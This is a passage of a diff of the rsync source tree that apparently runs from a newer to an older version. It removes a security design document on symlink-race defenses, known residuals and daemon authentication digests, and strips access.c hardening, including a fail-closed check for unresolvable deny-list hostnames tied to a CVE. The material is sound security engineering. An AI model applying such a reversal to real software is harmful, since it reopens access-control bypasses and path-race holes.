resolution\n-\n-`secure_relative_open()` resolves a path with a single portable mechanism on\n-every platform: a per-component walk on a stack of held directory fds. On\n-Linux, anchors and traversal components use\n-`O_PATH|O_DIRECTORY|O_NOFOLLOW`; other platforms retain the\n-`O_RDONLY|O_DIRECTORY` fallback. Descending into a real subdirectory pushes\n-its fd, a `..` pops back to the already-held parent (a pop at the anchor is\n-refused), and an in-tree directory symlink is followed by reading its target\n-and walking that off the same stack (absolute targets refused, symlink hops\n-bounded). A final directory endpoint is reopened with the caller's requested\n-flags. Thus `secure_opendir()` still receives a readable fd, while known-name\n-operations beneath a searchable but unreadable directory do not require\n-permission to list it.\n-\n-Because every component is opened relative to a *pinned* fd under `O_NOFOLLOW`,\n-and `..` is resolved by the held-fd stack rather than by the kernel, the walk is\n-race-free by construction: no rename or symlink swap of any path name can redirect\n-resolution outside the anchor subtree, and no kernel \"beneath\" primitive\n-(`openat2(RESOLVE_BENEATH)` / `openat(O_RESOLVE_BENEATH)`) is required. The\n-confinement is therefore uniform across Linux, the BSDs, macOS and\n-Solaris/illumos, on old and new kernels alike, with nothing to probe or fall back\n-to at runtime (and so no `openat2`/seccomp interaction to worry about in sandboxed\n-environments).  Cygwin is the exception, because its directory descriptors and\n-symlink emulation do not give the held-fd walk the same inode pinning — see the\n-Cygwin residual below.\n-\n-Legitimate *in-tree* directory symlinks are followed, so `--keep-dirlinks` /\n-`--copy-links` and a symlinked module path keep working. A relative alternate-dest\n-such as `--compare-dest=../01` may legitimately climb to a sibling still inside the\n-module; such a `..` path is re-anchored at the module root and its in-module climb\n-adjudicated by the walk (the `..` pops to the held parent), while escapes above the\n-anchor are still rejected.\n-\n-### Leaf operations\n-\n-The final operation is hardened as well, following `cp`: reads use `O_NOFOLLOW`\n-so a flipped leaf symlink is not followed, and new or destination files are\n-created with `O_CREAT|O_EXCL` (rsync's temporary files use `mkstemp`) so a\n-planted symlink at the target cannot be written through. A leaf `chmod` is the\n-one operation with no portable no-follow form: it is closed by opening the leaf\n-`O_RDONLY|O_NOFOLLOW` and `fchmod`-ing the held fd (refusing a symlink leaf with\n-`ELOOP`), falling back to `fchmodat(AT_SYMLINK_NOFOLLOW)` and then the\n-`fchmodat2()` syscall, and failing closed with a warning rather than ever\n-chmod-ing through a raced leaf symlink.\n-\n-### Guidance for contributors\n-\n-* When adding code that performs a path-based syscall on a path that can be\n-  influenced by the remote peer or by another local user, use a `do_*_at()`\n-  wrapper (or `secure_relative_open()`), not a raw full-path syscall.\n-* When introducing a new operation, add a matching `do_<op>_at()` wrapper that\n-  resolves a parent used only as at-style authority with\n-  `secure_relative_dirfd()`. Use `secure_relative_open()` when the returned fd\n-  itself must be readable or otherwise support the caller's requested access.\n-* Do not assume a non-daemon transfer is safe; the question is whether rsync has\n-  more authority than whoever controls the path components.\n-* On platforms whose API lacks an at-style equivalent (e.g. `setattrlist()`),\n-  follow the residuals policy at the top of this document: for a metadata\n-  operation on the already-transferred object (ACLs, xattrs, crtimes, permissions)\n-  fall back to the path-based call to keep the feature functional and document the\n-  residual; but where the unsafe fallback would *create a new object on an\n-  unconfined path* (the nested-socket `bind()` case), refuse it instead — that is\n-  an out-of-tree write/create primitive, not a same-object metadata race, and the\n-  lost functionality is negligible.\n-\n-\n-## Symlink defense for operator-supplied paths\n-\n-rsync opens several operator-supplied paths during normal operation.  These fall\n-into two groups, both governed by the same ownership-walk policy below:\n-\n-* operator **files**: `--log-file`, `--password-file`, `--early-input` (a client\n-  read whose contents are forwarded to the daemon's early-exec), `--files-from`,\n-  `--include-from`, `--exclude-from`, `--filter=. file`, `--write-batch`,\n-  `--read-batch`, per-directory filter merge files (`-C` / `-F` / `dir-merge`),\n-  and on the daemon side `motd file =`, `secrets file =`, `lock file =`, and\n-  `rsyncd.conf` itself.\n-* operator **directories**: `--backup-dir`, `--temp-dir`/`-T`, `--partial-dir`,\n-  and the `--link-dest`/`--compare-dest`/`--copy-dest` basis lookup.  These take\n-  a directory the operator chose, which may legitimately point outside the\n-  transfer tree (`--backup-dir=/var/backups`), so they are resolved with the\n-  ownership walk rather than the strict transfer-path resolver.\n-\n-The daemon module-root `chdir()` under\n-`use chroot = no` and the non-daemon receiver's `chdir()` into the\n-operator-named destination directory are in the same class: both follow\n-the operator's/root's own symlinked target (the `/backup -> /mnt/disk`\n-admin pattern) but refuse one an attacker raced in from another uid,\n-unless `--insecure-links` restores the legacy plain `chdir()`.\n-\n-Each of these reads or writes a path the operator or sender chose, which\n-may transit attacker-influenceable parent directories (the `/tmp/somedir/`\n-class) or be planted directly (the `/home/$user/.cvsignore` class when\n-root runs `rsync -a /home /backup`).\n-\n-rsync's defense, applied uniformly to all of the above, is a\n-component-by-component path walk (`open_no_attacker_symlinks` in\n-`util1.c`) that allows symlinks **only** when the symlink itself is owned\n-by uid 0 or the running process's effective uid.  Symlinks owned by any\n-other uid are refused with `ELOOP` at any path component (parent or leaf).\n-Plain `O_NOFOLLOW` would be leaf-only and would not defend the\n-`/tmp/somedir/log` parent-component plant; this walk does.\n-\n-The trust model preserves legitimate setups such as `/var/log -> /data/log`\n-(root-owned dir-symlink) and a non-root user's own `~/log -> /data/me`\n-symlink; it refuses an attacker's `/tmp/somedir -> /attack/path` plant.\n-For `--read-batch` an additional `fstat()` check refuses non-regular\n-files (FIFOs, devices) at the batch path, since the batch content drives\n-the receiver's protocol parser.\n-\n-**Policy.** A symlink at **any** path component (parent or leaf) is **followed\n-iff it is owned by uid 0 or the process's effective uid, and refused (`ELOOP`)\n-otherwise**, identically for **absolute and relative** operator paths.  The trust\n-signal is **authority (ownership)**, not **location**: an operator path may\n-legitimately point outside the transfer tree, so it cannot be confined by\n-location the way a transfer path is.  This is deliberately distinct from the\n-transfer-path resolver `secure_relative_open()` (see *Symlink-race-safe path\n-resolution* above), which refuses **all** symlinks and anchors **beneath the\n-transfer root** — correct for peer-named paths, which never legitimately escape.\n-For the operator directory paths, a refused symlink simply makes the target look\n-absent (no backup/temp/basis is taken through it) and the transfer proceeds\n-normally; the operator's own symlinked target keeps working.\n-\n-**The daemon `exclude`/`filter` chain is not a symlink boundary.** The daemon\n-filter chain (`exclude`, `exclude from`, `filter`, …) matches the *logical*\n-module-relative **name** of each item, not the physical file it resolves to.  It\n-is a visibility/tamper filter — a peer cannot *name* a daemon-excluded path to\n-pull, push to, or delete it — but it is **not** a security boundary against\n-symlinks: an in-module symlink whose own name is not excluded can be followed to\n-an excluded target (the name the filter sees, e.g. `link`, is not the excluded\n-name, e.g. `secret`).  This is by design and is the long-standing behaviour of\n-stock rsync; the defense for a writable module against symlink trickery is\n-`munge symlinks` (enabled by default for a writable, non-chrooted module), **not**\n-the filter.  Do not rely on `exclude`/`filter` to confine a peer who can introduce\n-or traverse a symlink; see `rsyncd.conf(5)` (\"filter\" and \"munge symlinks\").\n-\n-What *is* enforced for a *peer-supplied* operator path (`--partial-dir`,\n-`--backup-dir`, the alt-dest basis) is confinement to the **module root**: the\n-ownership walk refuses a foreign-uid symlink (the symlink-race defense) and\n-refuses a resolved target *outside* the module.  That module-boundary confinement\n-is independent of `exclude`/`filter` — it holds whether or not the module sets an\n-exclude — and is what the operator-path tests cover.\n-\n-**`--insecure-links`.** This flag is a **local** opt-out that restores the legacy\n-follow-any-symlink behaviour for the paths above.  It is **not forwarded** to the\n-remote (a remote-shell peer that wants the opt-out must set it on its own side,\n-e.g. via `--rsync-path`), and a **daemon never honors it**: the opt-out predicate\n-reads the client-controllable flag only off a daemon, so a peer-forwarded or\n-`-M`-injected `--insecure-links` cannot weaken a daemon's confinement — the daemon\n-additionally hard-refuses it (drops the connection) via the refused-options path.\n-A daemon admin who wants the legacy behaviour for one isolated/trusted module\n-sets `insecure links = yes` in that module's `rsyncd.conf` stanza (see\n-`rsyncd.conf(5)`); this is admin-only and re-opens the symlink-escape\n-vulnerabilities for that module on purpose.  The `operator-path-*` and\n-`insecure-links-*` tests enforce this consistency across every path-taking\n-option and across absolute/relative, leaf/parent, and same-uid/cross-uid plants.\n-\n-For `support/rrsync` (the SSH-restricted-rsync wrapper), the same TOCTOU\n-class is closed in Python by opening each validated path component with\n-`O_RDONLY|O_NOFOLLOW`, verifying via `readlink('/proc/self/fd/N')` that the\n-pinned inode is still in-tree, and passing `/proc/self/fd/N` as the exec'd\n-rsync's argument (so the kernel routes the child's open through the pinned\n-inode rather than re-resolving the path).  A receiver-side new destination\n-has no inode of its own yet, so its existing parent directory is pinned the\n-same way and the leaf is created at `/proc/self/fd/<parent>/<leaf>`.  This pin\n-relies on an fdescfs-style magic symlink and is not available on every\n-platform -- see the rrsync residual below.\n-\n-### Known residuals\n-\n-The following are documented as out of scope for this release:\n-\n-* The source-directory *enumeration* confinement needs `fdopendir()` (to form a\n-  `DIR*` from the securely-resolved held fd) and `dirfd()`; on a platform lacking\n-  either, `send_directory()` falls back to the legacy `opendir()` on the path, so\n-  the scan is unconfined there — the same resolver-fallback shape as the other\n-  `*at()`-less residuals.  Every current target provides both; the per-entry\n-  operations and the content open remain confined regardless.\n-\n-* On **Cygwin**, the per-component held-fd walk does not provide the same\n-  inode-pinning guarantee as on a POSIX kernel: Cygwin tracks a process's\n-  current directory and resolves directory descriptors by path name rather than\n-  by a pinned inode, and emulates symlinks as special files.  Static out-of-tree\n-  symlinks are still refused (the walk sees and rejects them), and a daemon\n-  module path anchored at an absolute `module_dir` is confined; but an entry\n-  whose parent component is *raced* from a directory to a symlink mid-resolution\n-  can still slip past confinement that is anchored at the process CWD (e.g. the\n-  sender's content open), because the descriptor is not bound to the original\n-  inode.  The parent-component symlink-race tests are therefore not enforced on\n-  Cygwin (see `RSYNC_EXPECT_SKIPPED` in `.github/workflows/cygwin-build.yml` and\n-  the Cygwin-only xfail in `symlink-race-source_test.py`).  Cygwin is a\n-  development/interoperability target, not a privilege boundary host, so this is\n-  accepted for this release.\n-\n-* On a platform with no `mknodat()` at all -- macOS before 13 is the\n-  supported example, where `mknod()` and `mkfifo()` exist but neither\n-  `mknodat()` nor `mkfifoat()` does -- creating a device node or FIFO\n-  falls back to plain `do_mknod()`, which resolves the whole path by name.\n-  What is lost is the *pinned parent*: the directory components are\n-  re-resolved by the kernel at create time, so an attacker who can swap a\n-  parent component races the create and can place the node outside the\n-  transfer.  The final component is not at risk -- `mknod()` and\n-  `mkfifo()` do not follow a symlink at the leaf, they fail `EEXIST`.\n-  Where `AT_FDCWD` exists -- which is every platform rsync 3.5.0 supports,\n-  macOS 10.13 included -- fake-super placeholders still return through\n-  `openat(..., O_NOFOLLOW)`, reached before either `*at` primitive is\n-  tested, so ordinary in-tree placeholder creation stays confined;\n-  fake-super loses parent confinement and the `O_NOFOLLOW` leaf only on the\n-  paths that reach plain `do_mknod()` (the cache-declined/cross-tree\n-  wrapper and the backup paths).  On a build with no `AT_FDCWD` at all\n-  there is no fd-relative primitive of any kind, so nothing above applies\n-  and every special-file create, fake-super included, is unconfined.  Transferring specials there (`--devices`, `--specials`) carries\n-  the parent-component race.  `symlink-mknod-fakesuper-symlink-race` skips\n-  itself on such a build, since the property it asserts is one the build\n-  deliberately does not have.\n-\n-* On platforms where `mknod()`/`mknodat()` cannot create a socket inode\n-  (the BSDs, macOS, Solaris), a transferred socket is recreated with\n-  `socket()` + `unlink` + `bind(path)`, which cannot be confined (there is\n-  no portable `bindat()`).  Linux creates it race-safely with `mknodat()`\n-  on a held dirfd; on the others a *nested* socket is skipped with a\n-  warning rather than bound on an unconfined path, leaving only a\n-  top-level, operator-named socket binding by path.\n-\n-* `support/rrsync`'s race-free inode-pin -- of both existing path\n-  components and a new destination's parent -- depends on materialising a\n-  held fd as a path that the exec'd rsync re-resolves to the same inode.\n-  rrsync validates and pins in its own process, but it then *exec*s a\n-  separate rsync that re-resolves the paths from `argv`, so the confining\n-  reference must be expressible as an argument.  A held dirfd is not: it is\n-  usable as a path only through an fdescfs-style magic symlink.  rrsync\n-  implements this for Linux only, via `/proc/self/fd/N`; it does not use the\n-  `/dev/fd/N` equivalent that macOS/FreeBSD expose with `fdescfs` mounted.  So on\n-  every non-Linux platform (the BSDs, macOS, Solaris -- whose `/proc/self/fd`\n-  entries are not magic symlinks -- and Cygwin), and on a `/proc`-less Linux\n-  namespace, rrsync falls through to the realpath-validated path unpinned,\n-  so a parent-component or between-pin-and-exec flip remains possible there;\n-  a deeper `-R` new path whose parent does not exist yet is likewise\n-  unpinned.  The portable closure is an rsync-side fd-passing API -- rrsync\n-  hands rsync the confined dirfd (inherited across `exec`) and rsync\n-  resolves that argument relative to it with the same `secure_relative_open`\n-  resolver the daemon uses, needing no magic-symlink filesystem -- a\n-  protocol/CLI addition under discussion on the rsync-security list.\n-\n-* The operator-directory ownership walk refuses a foreign-owned symlink on a\n-  `--backup-dir`/`--temp-dir`/`--partial-dir`/`--link/compare/copy-dest` path, so\n-  a *statically planted* symlink is rejected and the dependent operation does not\n-  escape.  Both the data writes and the *source-metadata reads* of those\n-  operations are now confined to held no-follow fds: the `--copy-dest`\n-  `copy_file()`/`copy_xattrs()` source read goes through the held basis content fd\n-  (`sys_fgetxattr`), and `make_backup()` reads the backed-up file's ACL/xattrs\n-  through a `backup_source_fd()`-pinned fd -- so a parent-component flip can no\n-  longer redirect them to disclose an out-of-module value.  The cross-tree\n-  metadata *apply* on those leaves (the `%stat`/ACL/xattr write on a\n-  `--temp-dir`/`--backup-dir` staging file) is fd-pinned the same way, now\n-  including under `--fake-super`: the `set_file_attrs()` no-follow leaf fd was\n-  previously opened only when `am_root >= 0`, so a `fake super = yes` daemon fell\n-  back to a path-based `sys_lsetxattr()`/chmod a raced parent could redirect; the\n-  pin is now opened for fake-super too (a raced leaf is refused, not redirected).\n-  Two narrow follow-ons\n-  re-resolve the (now-validated) operator path by name and remain a\n-  *post-validation* parent-component race:\n-    * the in-place backup (`--inplace --backup`) writes the backup file's data\n-      through a confined create, but its `set_file_attrs()` metadata set\n-      (chmod/chown/times) re-resolves the `--backup-dir` path by name afterwards\n-      (it is not placed under operator mode, which would force the shared\n-      `set_file_attrs()` path off its held-O_NOFOLLOW-fd xattr write and re-open\n-      the very parent-symlink xattr race `copy-xattrs-symlink-race` pins closed); and\n-    * the abbreviated-xattr optimisation reuses a basis xattr value for the\n-      destination only when its checksum matches the digest the sender sent; that\n-      basis read (`rsync_xal_set()`) re-resolves the basis path by name.  This is a\n-      *constrained checksum-oracle*, not a disclosure: it confirms that some raced\n-      out-of-module xattr hashes to a value the sender already chose, rather than\n-      copying an unknown value onto a readable file, and needs a colluding sender\n-      plus a local racer.\n-  An attacker who flips a parent component in the window *after* the confined data\n-  write/stat can thus still affect those narrow metadata/oracle operations.  This\n-  is the same local-attacker post-confinement TOCTOU class as the ACL/crtimes\n-  residuals below; the data-write and direct source-read escapes are closed, and\n-  `--insecure-links` (or a module's `insecure links = yes`) is orthogonal to it.\n-\n-* POSIX ACL application (`-A`/`--acls`) is race-safe on every Linux kernel —\n-  6.13+ via the `*xattrat` syscalls (or a patched libacl's `*_at` bindings), and\n-  older kernels via the `/proc/self/fd` compat that pins the same inode, provided\n-  `procfs` is mounted — and a transferred file/dir/FIFO has its xattrs (`-X`)\n-  applied through the held no-follow fd, so the apply cannot be redirected by a\n-  raced parent component.  Where neither primitive is available — the BSDs,\n-  Solaris and macOS (no `*xattrat` syscalls and no `/proc/self/fd` magic\n-  symlinks), plus the edge case of a Linux instance with no usable `/proc` (a\n-  `/proc`-less container/namespace) — the ACL apply falls back to the path-based\n-  `acl_set_file()` /\n-  `sys_acl_*file()` calls — the long-standing 3.4.x behaviour — to keep `--acls`\n-  functional rather than silently skipping it, so a parent-component flip can\n-  have the received ACL written onto an object outside the module/destination\n-  boundary (and, because the attacker controls the ACL bytes, granted to a chosen\n-  uid).  As with the macOS crtime tier below, this is an accepted residual under\n-  the functionality-over-refusal policy; a daemon operator who does not want it\n-  can disable the feature with `refuse options = acls`.\n-\n-* macOS creation-time (`--crtimes`) preservation uses the path-based\n-  `setattrlist()`/`getattrlist()` with `FSOPT_NOFOLLOW`, which protects only\n-  the final component; there is no `setattrlistat()` targeting\n-  `ATTR_CMN_CRTIME`.  As with POSIX ACLs where the OS offers no race-safe\n-  primitive, `--crtimes` is kept functional (daemon and non-daemon) and the\n-  parent-component symlink race is an accepted residual: an attacker who\n-  flips a parent component can have a crtime read/write target an object\n-  outside the module/destination boundary.  The mtime/atime path is *not*\n-  affected -- `set_times()` resolves it race-safely through `utimensat()` on a\n-  held dirfd in hardened mode.  A daemon operator who does not want the crtime\n-  residual can disable the feature with `refuse options = crtimes` in\n-  `rsyncd.conf`.\n-\n-* Pulling with `-o`/`-g` (or `-a`) **as root from an untrusted sender** is by\n-  design a trust relationship, not a confinement boundary: the sender dictates\n-  each received file's owner/group, including uid/gid 0.  rsync maps the\n-  sender's id/name pairs through the local id database; an empty or unknown\n-  sender name falls back to the sender's numeric id (the value `--numeric-ids`\n-  would use), and a sender can equally request root via the literal name\n-  `root`.  A root receiver must therefore only pull with `-o`/`-g` from a\n-  trusted source (or use a non-root receiver / a uid-gid policy).  The daemon\n-  *name-converter* path is guarded separately — an unknown name there maps to\n-  the sender's numeric id rather than 0 (see `clientserver.c`).\n-\n-## Daemon authentication digest\n-\n-Daemon authentication is a secret-prefix challenge-response: the client returns\n-`base64(H(secret || challenge))`, where `H` is a digest the two sides negotiate.\n-The negotiation is unauthenticated and ordered by the connecting side, and the\n-`md5`/`md4` digests remain available for backward compatibility, so a peer that\n-sends no digest list (any rsync before 3.2.0, including the openrsync that ships\n-with macOS) falls back to `md5` (or `md4` below protocol 30), and an on-path\n-attacker can rewrite the negotiation to force `md5`/`md4` even between two modern\n-peers.  This is **not** an authentication bypass — `md4`/`md5` have no practical\n-preimage break — but a weak digest makes a *captured* `(challenge, response)`\n-pair far cheaper to brute-force offline, recovering a guessable shared secret.\n-\n-The challenge itself is seeded from the kernel CSPRNG (`/dev/urandom`), so it is\n-an unpredictable per-connection nonce. An earlier time/pid-based challenge was\n-low-entropy enough (~35 bits) that recovering the `(sec, usec, pid)` tuple from\n-one observed challenge let an on-path observer predict every subsequent challenge\n-from that daemon process and pre-compute a dictionary against a captured\n-response. (If `/dev/urandom` is unavailable the daemon logs a warning and falls\n-back to the legacy time-based challenge rather than a constant.)\n-\n-A daemon operator whose clients are all modern (rsync 3.2.7+ built with openssl,\n-when the SHA digests were added) can require a strong digest with the `auth\n-digest` module parameter, e.g. `auth digest = sha256`, which refuses any\n-connection that negotiates — or falls back to — a weaker digest (see\n-`rsyncd.conf`).\n-\n-Residual: there is **no default floor**, because requiring one would break every\n-pre-3.2.0 client (notably the macOS-bundled openrsync, which authenticates only\n-with `md4`).  An operator who cannot raise the floor should run the daemon behind\n-a verified TLS transport (`rsync-ssl`/stunnel) or over ssh — which removes the\n-on-path capture/downgrade vector at the transport layer — and should use a\n-high-entropy shared secret, which is infeasible to brute-force regardless of the\n-digest.\ndiff --git a/TODO b/TODO\nindex 9279d74..66ae838 100644\n--- a/TODO\n+++ b/TODO\n@@ -15,6 +15,7 @@ Create more granular verbosity\t\t\t\t\t2003/05/15\n \n DOCUMENTATION --------------------------------------------------------\n Keep list of open issues and todos on the web site\n+Perhaps redo manual as SGML\n \n LOGGING --------------------------------------------------------------\n Memory accounting\n@@ -212,6 +213,16 @@ DOCUMENTATION --------------------------------------------------------\n \n Keep list of open issues and todos on the web site\n \n+                      --          --\n+\n+\n+Perhaps redo manual as SGML\n+\n+  The man page is getting rather large, and there is more information\n+  that ought to be added.\n+\n+  TexInfo source is probably a dying format.\n+\n   Linuxdoc looks like the most likely contender.  I know DocBook is\n   favoured by some people, but it's so bloody verbose, even with emacs\n   support.\ndiff --git a/access.c b/access.c\nindex 8031feb..b6afce3 100644\n--- a/access.c\n+++ b/access.c\n@@ -20,9 +20,6 @@\n \n #include \"rsync.h\"\n #include \"ifuncs.h\"\n-#ifdef RSYNC_TEST_NO_INET6\n-#undef INET6\n-#endif\n #ifdef HAVE_NETGROUP_H\n #include <netgroup.h>\n #endif\n@@ -31,15 +28,11 @@ static int allow_forward_dns;\n \n extern const char undetermined_hostname[];\n \n-static int match_hostname(const char **host_ptr, const char *addr, const char *tok, int deny)\n+static int match_hostname(const char **host_ptr, const char *addr, const char *tok)\n {\n-\tstruct addrinfo hints, *res, *res0, *resa = NULL;\n-\tconst char *a = NULL;\n-\tint addrlen = 0;\n+\tstruct hostent *hp;\n+\tunsigned int i;\n \tconst char *host = *host_ptr;\n-#ifdef SUPPORT_IDN\n-\tchar idn_tok[1024];\n-#endif\n \n \tif (!host || !*host)\n \t\treturn 0;\n@@ -49,14 +42,6 @@ static int match_hostname(const char **host_ptr, const char *addr, const char *t\n \t\treturn innetgr(tok + 1, host, NULL, NULL);\n #endif\n \n-#ifdef SUPPORT_IDN\n-\t/* A hostname reaches us from DNS as ASCII, so fold an IDN token to its\n-\t * A-label form before comparing.  An all-ASCII token, and a token we\n-\t * can't fold, are both left as they are. */\n-\tif (idn_to_ascii(tok, 0, idn_tok, sizeof idn_tok))\n-\t\ttok = idn_tok;\n-#endif\n-\n \t/* First check if the reverse-DNS-determined hostname matches. */\n \tif (iwildmatch(tok, host))\n \t\treturn 1;\n@@ -69,85 +54,19 @@ static int match_hostname(const char **host_ptr, const char *addr, const char *t\n \t\treturn 0;\n \n \t/* Now try forward-DNS on the token (config-specified hostname) and see if the IP matches. */\n-\tmemset(&hints, 0, sizeof hints);\n-\thints.ai_family = PF_UNSPEC;\n-\thints.ai_socktype = SOCK_STREAM;\n-\tif (getaddrinfo(tok, NULL, &hints, &res0) != 0) {\n-\t\t/* A deny-list hostname token we cannot resolve must fail CLOSED:\n-\t\t * we can't prove the peer isn't the denied host, so treat the\n-\t\t * unresolvable token as a match (deny).  Allow-list tokens keep\n-\t\t * failing as a non-match.  Sibling of CVE-2026-43617, which fixed\n-\t\t * only the reverse-lookup path. */\n-\t\treturn deny;\n-\t}\n-\n-\t/* Parse the peer address once so the resolved addresses below can be\n-\t * compared against it in binary form by family, as match_address()\n-\t * does, rather than by comparing formatted strings. */\n-\tmemset(&hints, 0, sizeof hints);\n-\thints.ai_family = PF_UNSPEC;\n-\thints.ai_socktype = SOCK_STREAM;\n-#ifdef AI_NUMERICHOST\n-\thints.ai_flags = AI_NUMERICHOST;\n-#endif\n-\tif (getaddrinfo(addr, NULL, &hints, &resa) == 0) {\n-\t\tswitch (resa->ai_family) {\n-\t\t  case PF_INET:\n-\t\t\ta = (char *)&((struct sockaddr_in *)resa->ai_addr)->sin_addr;\n-\t\t\taddrlen = 4;\n-\t\t\tbreak;\n-#ifdef INET6\n-\t\t  case PF_INET6:\n-\t\t\ta = (char *)&((struct sockaddr_in6 *)resa->ai_addr)->sin6_addr;\n-\t\t\taddrlen = 16;\n-\t\t\tbreak;\n-#endif\n-\t\t  default:\n-\t\t\tbreak;\n-\t\t}\n-\t}\n-\n-\tif (a) {\n-\t\tfor (res = res0; res; res = res->ai_next) {\n-\t\t\tconst char *t = NULL;\n-\n-\t\t\tif (res->ai_family != resa->ai_family)\n-\t\t\t\tcontinue;\n-\t\t\tswitch (res->ai_family) {\n-\t\t\t  case PF_INET:\n-\t\t\t\tt = (char *)&((struct sockaddr_in *)res->ai_addr)->sin_addr;\n-\t\t\t\tbreak;\n-#ifdef INET6\n-\t\t\t  case PF_INET6: {\n-\t\t\t\tconst struct sockaddr_in6 *peer6 = (const struct sockaddr_in6 *)resa->ai_addr;\n-\t\t\t\tconst struct sockaddr_in6 *resolved6 = (const struct sockaddr_in6 *)res->ai_addr;\n+\tif (!(hp = gethostbyname(tok)))\n+\t\treturn 0;\n \n-#ifdef HAVE_SOCKADDR_IN6_SCOPE_ID\n-\t\t\t\tif (resolved6->sin6_scope_id && peer6->sin6_scope_id != resolved6->sin6_scope_id)\n-\t\t\t\t\tcontinue;\n-#endif\n-\t\t\t\tt = (char *)&resolved6->sin6_addr;\n-\t\t\t\tbreak;\n-\t\t\t  }\n-#endif\n-\t\t\t  default:\n-\t\t\t\tcontinue;\n-\t\t\t}\n-\t\t\tif (memcmp(a, t, addrlen) == 0) {\n-\t\t\t\t/* If reverse lookups are off, we'll use the conf-specified\n-\t\t\t\t * hostname in preference to UNDETERMINED. */\n-\t\t\t\tif (host == undetermined_hostname)\n-\t\t\t\t\t*host_ptr = strdup(tok);\n-\t\t\t\tfreeaddrinfo(resa);\n-\t\t\t\tfreeaddrinfo(res0);\n-\t\t\t\treturn 1;\n-\t\t\t}\n+\tfor (i = 0; hp->h_addr_list[i] != NULL; i++) {\n+\t\tif (strcmp(addr, inet_ntoa(*(struct in_addr*)(hp->h_addr_list[i]))) == 0) {\n+\t\t\t/* If reverse lookups are off, we'll use the conf-specified\n+\t\t\t * hostname in preference to UNDETERMINED. */\n+\t\t\tif (host == undetermined_hostname)\n+\t\t\t\t*host_ptr = strdup(tok);\n+\t\t\treturn 1;\n \t\t}\n \t}\n \n-\tif (resa)\n-\t\tfreeaddrinfo(resa);\n-\tfreeaddrinfo(res0);\n \treturn 0;\n }\n \n@@ -180,7 +99,7 @@ static void make_mask(char *mask, int plen, int addrlen)\n \treturn;\n }\n \n-static int match_address(const char *addr, char *tok)\n+static int match_address(const char *addr, const char *tok)\n {\n \tchar *p;\n \tstruct addrinfo hints, *resa, *rest;\n@@ -324,7 +243,7 @@ static int match_address(const char *addr, char *tok)\n \treturn ret;\n }\n \n-static int access_match(const char *list, const char *addr, const char **host_ptr, int deny)\n+static int access_match(const char *list, const char *addr, const char **host_ptr)\n {\n \tchar *tok;\n \tchar *list2 = strdup(list);\n@@ -332,7 +251,7 @@ static int access_match(const char *list, const char *addr, const char **host_pt\n \tstrlower(list2);\n \n \tfor (tok = strtok(list2, \" ,\\t\"); tok; tok = strtok(NULL, \" ,\\t\")) {\n-\t\tif (match_hostname(host_ptr, addr, tok, deny) || match_address(addr, tok)) {\n+\t\tif (match_hostname(host_ptr, addr, tok) || match_address(addr, tok)) {\n \t\t\tfree(list2);\n \t\t\treturn 1;\n \t\t}\n@@ -356,7 +275,7 @@ int allow_access(const char *addr, const char **host_ptr, int i)\n \n \t/* If we match an allow-list item, we always allow access. */\n \tif (allow_list) {\n-\t\tif (access_match(allow_list, addr, host_ptr, 0))\n+\t\tif (access_match(allow_list, addr, host_ptr))\n \t\t\treturn 1;\n \t\t/* For an allow-list w/o a deny-list, disallow non-matches. */\n \t\tif (!deny_list)\n@@ -365,17 +284,9 @@ int allow_access(const char *addr, const char **host_ptr, int i)\n \n \t/* If we match a deny-list item (and got past any allow-list\n \t * items), we always disallow access. */\n-\tif (deny_list && access_match(deny_list, addr, host_ptr, 1))\n+\tif (deny_list && access_match(deny_list, addr, host_ptr))\n \t\treturn 0;\n \n \t/* Allow all other access. */\n \treturn 1;\n }\n-\n-int allow_proxy_protocol_peer(const char *list, const char *addr, const char **host_ptr)\n-{\n-\tif (!list || !*list)\n-\t\treturn 0;\n-\tallow_forward_dns = 0;\n-\treturn access_match(list, addr, host_ptr, 0);\n-}\ndiff --git a/aclocal.m4 b/aclocal.m4\nindex 8eb22a4..0432168 100644\n--- a/aclocal.m4\n+++ b/aclocal.m4\n@@ -1,6 +1,6 @@\n-# generated automatically by aclocal 1.17 -*- Autoconf -*-\n+# generated automatically by aclocal 1.16.5 -*- Autoconf -*-\n \n-# Copyright (C) 1996-2024 Free Software Foundation, Inc.\n+# Copyright (C) 1996-2021 Free Software Foundation, Inc.\n \n # This file is free software; the Free Software Foundation\n # gives unlimited permission to copy and/or distribute it,\ndiff --git a/acls.c b/acls.c\nindex d51cbe9..bd119e8 100644\n--- a/acls.c\n+++ b/acls.c\n@@ -21,10 +21,6 @@\n \n #include \"rsync.h\"\n #include \"lib/sysacls.h\"\n-#include \"lib/acl.h\"\n-#ifdef HAVE_LIBACL_AT\n-#include <fcntl.h>\t/* AT_EMPTY_PATH / AT_SYMLINK_NOFOLLOW */\n-#endif\n \n #ifdef SUPPORT_ACLS\n \n@@ -473,129 +469,11 @@ static int find_matching_rsync_acl(const rsync_acl *racl, SMB_ACL_TYPE_T type,\n \treturn *match;\n }\n \n-/* These two bridge lib/acl.c's neutral (tag,perm,id) entry array; with\n- * HAVE_LIBACL_AT the libacl *_at path uses unpack_smb_acl/pack_smb_acl directly,\n- * so they are unused there. */\n-#if defined(SUPPORT_ACL_FD) && !defined(HAVE_LIBACL_AT)\n-/* Convert a packed system ACL into the neutral (tag,perm,id) entry array that\n- * lib/acl.c serializes.  Reuses pack_smb_acl()+change_sacl_perms() output so\n- * the bytes we write match exactly what acl_set_file() would have written.\n- * Returns the entry count and a malloc'd array in *ents_p, or -1 on error. */\n-static int sacl_to_entries(SMB_ACL_T sacl, rsync_acl_ent **ents_p)\n-{\n-\tstatic item_list ent_list = EMPTY_ITEM_LIST;\n-\tSMB_ACL_ENTRY_T entry;\n-\trsync_acl_ent *out;\n-\tint rc;\n-\n-\tent_list.count = 0;\n-\tfor (rc = sys_acl_get_entry(sacl, SMB_ACL_FIRST_ENTRY, &entry); rc == 1;\n-\t     rc = sys_acl_get_entry(sacl, SMB_ACL_NEXT_ENTRY, &entry)) {\n-\t\tSMB_ACL_TAG_T tag_type;\n-\t\tuint32 access;\n-\t\tid_t g_u_id;\n-\t\trsync_acl_ent *e;\n-\t\tuint16_t tag;\n-\n-\t\tif ((rc = sys_acl_get_info(entry, &tag_type, &access, &g_u_id)) != 0)\n-\t\t\tbreak;\n-\t\tswitch (tag_type) {\n-\t\tcase SMB_ACL_USER_OBJ: tag = RACL_USER_OBJ; break;\n-\t\tcase SMB_ACL_USER: tag = RACL_USER; break;\n-\t\tcase SMB_ACL_GROUP_OBJ: tag = RACL_GROUP_OBJ; break;\n-\t\tcase SMB_ACL_GROUP: tag = RACL_GROUP; 